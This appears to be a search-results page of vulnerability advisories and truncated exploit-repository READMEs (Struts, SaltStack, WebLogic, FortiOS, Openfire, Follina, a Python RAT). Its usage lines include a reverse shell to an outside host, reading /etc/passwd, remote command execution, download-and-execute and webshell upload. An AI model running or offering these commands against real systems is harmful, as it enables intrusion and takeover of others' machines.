54668 matches found
The vulnerability of the Test IT testing system lies in the use of external control inputs for class selection, allowing a perpetrator to execute arbitrary commands.
The vulnerability of the Test IT testing system relates to the use of externally controlled input data for class selection. Exploiting this vulnerability allows a malicious actor to execute arbitrary commands remotely...
The vulnerability of the Platypus.js tooling platform, related to deficiencies in the authentication process, allows a violator to execute arbitrary commands.
The vulnerability of the Platypus.js platform is related to deficiencies in the authentication process. Exploiting this vulnerability allows a remote attacker to execute arbitrary commands...
struts-pwn_CVE-2017-9805
struts-pwn - CVE-2017-9805 エクスプロイト Apache Struts CVE-2017-9805 のエクスプロイト 使用方法 単一のURLに対して脆弱性が存在するかを確認します。 python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' URLのリストに対して脆弱性が存在するかを確認します。 python struts-pwn.py --list 'urls.txt' 単一のURLをエクスプロイトします。 python struts-pwn.py --explo...
WMIHACKER
WMIHACKER（445ポート不要） 中文版Chinese version 免責事項: このプロジェクトに関連する技術は、セキュリティ学習および防御目的にのみ使用されており、不正使用は禁止されています！ アンチウイルスソフトウェアを回避する横移動コマンド実行テストツール（445ポート不要） はじめに:...
1Panel-CVE-2025-54424-
CVE-2025-54424 CVE-2025-54424：1Panel クライアント証明書バイパス RCE 脆弱性 統合ツール スキャン+エクスプロイト 脆弱性概要 1Panel は、オープンソースでモダンな Linux 運用管理パネルであり、Web サイトのデプロイ、サーバー管理、サービスの実行をグラフィカルインターフェースで提供します。 影響を受けるバージョンでは、Agent 側の TLS 認証ポリシーが tls.RequireAnyClientCert であり、証明書の提示のみを要求し、その信頼性を検証しません。攻撃者は自己署名証明書を使用して TLS チェックをバイパスし、CN...
Apollo
Apollo Python で書かれたシンプルで軽量なリモートアクセスツール Apollo は Python 3.4+ 向けのクロスプラットフォーム（Windows、Linux、FreeBSD & MacOS）リモートアクセスツールです。現在の機能は非常に基本的なものですが、ポストエクスプロイテーションのリモートコード実行と、クライアントシステムの情報を取得して Command & Control サーバーに報告することを可能にします。 特徴 複数のクライアントを同時に制御する機能 クロスプラットフォーム（Windows、Linux、FreeBSD および macOS） D-H 鍵交換に...
CVE-2021-31761
CVE-2021-31761 Description : Webmin の実行中プロセス機能を介して、反射型クロスサイトスクリプティング XSS 攻撃を悪用し、リモートコマンド実行 RCE を取得する Tested Version : Webmin 1.973 GitHub の最新バージョン 07/03/2021 Attack Type: リモート Impact : リモートコマンド実行 エクスプロイトコード POC : YouTube POC : https://youtu.be/23VvUMu-28c 製品ベンダー : https://www.webmin.com 追加情報 :...
cve-2022-29464
cve-2022-29464 免責事項 スクリプトは学習・参考用のみです。他人のWebサイトへの悪意ある攻撃は行わないでください 法令違反などにより生じた一切の結果は使用者自身が負担するものとします 技術に罪はなく、作者とは関係ありません 本スクリプトを使用した時点で上記の説明に同意したものとみなされます！ --Author:lowkey0808 使い方 usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 対象URL -s...
CVE-2019-2725
CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814、WebLogic wls9-async コマンド実行結果 10.3.6 12.1.3 ResultBaseExec.java defineClass をテストするためのもので、悪意のあるクラスを base64 から復元してコードを実行します。主に利便性を目的としています（使用しても使用しなくても問題ありません）。 JDK7u21.java weblogic-2019-272512.1.3命令执行.txt 内の XML を生成します。jdk6 を使用してコンパイルしてください。...
CVE-2024-24590
ClearML エクスプロイト このリポジトリには、ClearML のデシリアライゼーションの脆弱性を悪用する概念実証エクスプロイトが含まれており、リモートコマンド実行を可能にします。このエクスプロイトは、悪意のあるピクルスアーティファクトを ClearML にアップロードしてリバースシェルを取得する方法を示しています。 前提条件 始める前に、以下の要件を満たしていることを確認してください: ClearML を実行しているマシン。 Python 3.8 以上。 clearml ライブラリがインストールされていること。pip を使用してインストールできます: pip install...
CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version
CVE-2023-4596 CVE-2023-4596 の PoC スクリプト。任意のファイルアップロードを介して認証なしのリモートコマンド実行を行うために作成された効率的な Python ツールです。 リソース インストール 使用方法 使用方法 インストール git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version pip install -...
KindaRails2Shell
KindaRails2Shell：CVE-2026-66066 一个零依赖、单文件的 PoC（概念验证）以及仅限环回地址的 Docker 实验环境，针对 Rails Active Storage/libvips 任意文件读取漏洞。它还演示了安全公告中所述的、从恢复的 secretkeybase 到伪造图像变体并执行命令的条件式提权。 受影响版本：Rails 7.2.0–7.2.3.1、8.0.0–8.0.5 和 8.1.0–8.1.3 已修复版本：Rails 7.2.3.2、8.0.5.1 和 8.1.3.1 运行环境：Python 3.11+，仅使用标准库 适用范围：授权测试与本地研究...
samsung-android-lpe
パート1: 任意のATコマンド実行 CVE-2026-20980 アプリケーションプロセッサAPのコマンドは、ロック解除されたデバイスで接続モードを切り替えた後、atdistributorによって管理されます。 AT+SWATD=0 AT+ACTIVATE=0,0,0 AT+SWATD=1 atdistributor は、pacmcheckatcmds 関数を通じてATコマンドを検証します。 void mainint32t arg1, void arg2 noreturn int32t var21b0 = arg1; data42c170 = SignalHandler;...
SaltStack-Exp
SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...
CVE-2024-7399-POC
CVE-2024-7399 CVE-2024-7399 のエクスプロイト。 詳細はこちら: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/。 使用方法: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/ --upload test.txt...
CVE-2018-2628
CVE-2018-2628 0x01 Nessus スキャン 0x02 K8 Tools GetShell 0x03 CMDクエリ 使用方法: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...
CVE-2023-32315-Openfire-Bypass
CVE-2023-32315 0x01 返されたJSESSIONIDとcsrftokenを取得し、リクエストパケットを構築してユーザーを追加（JSESSIONID、csrftokenを置換） cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 プラグインのコンパイルとインストール mvn clean package または releases からプラグインをダウンロード 0x03 プラグインのアップロード 0x04 webshellを取得...
CVE-2022-30190
CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション usage: CVE-2022-30190.py -h --html HTML --cmd CMD --downexec --downloadurl...
fortios-auth-bypass-exploit-CVE-2024-55591
CVE-2024-55591 Fortinet FortiOS 認証バイパスの脆弱性エクスプロイト 説明 このexpを使用すると、認証をバイパスしてコマンドを実行できます。 使用法 sysirq@sysirq-machine:/Work/Fortinet/FortiGate7016/CVE-2024-55591$ python3 exp.py usage: exp.py -h --target TARGET --port PORT --username USERNAME --cmd CMD exp.py: error: the following arguments are...